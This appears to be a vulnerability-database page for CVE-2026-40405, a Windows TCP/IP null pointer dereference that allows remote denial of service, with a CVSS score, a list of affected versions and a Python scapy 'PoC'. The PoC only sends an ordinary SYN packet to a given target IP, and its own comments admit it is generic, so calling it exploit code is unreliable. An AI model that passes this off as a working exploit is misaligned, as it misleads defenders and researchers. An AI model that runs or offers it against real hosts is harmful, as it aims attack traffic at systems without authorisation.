Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service over a network.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Windows 10
Windows 11
Windows Server 2016
Windows Server 2019
Windows Server 2022
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys
from scapy.all import *
# Note: This is a generic PoC for demonstration purposes.
# The specific packet structure to trigger CVE-2026-40405 requires detailed vulnerability analysis.
def send_malicious_packet(target_ip):
# Construct a crafted TCP packet
# In a real scenario, specific flags or options would be set to trigger the null pointer dereference
ip_layer = IP(dst=target_ip)
tcp_layer = TCP(sport=RandShort(), dport=80, flags="S", options=[("MSS", 1460)])
# Send the packet
send(ip_layer/tcp_layer, verbose=0)
print(f"[*] Malicious packet sent to {target_ip}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python cve_poc.py <target_ip>")
sys.exit(1)
target = sys.argv[1]
send_malicious_packet(target)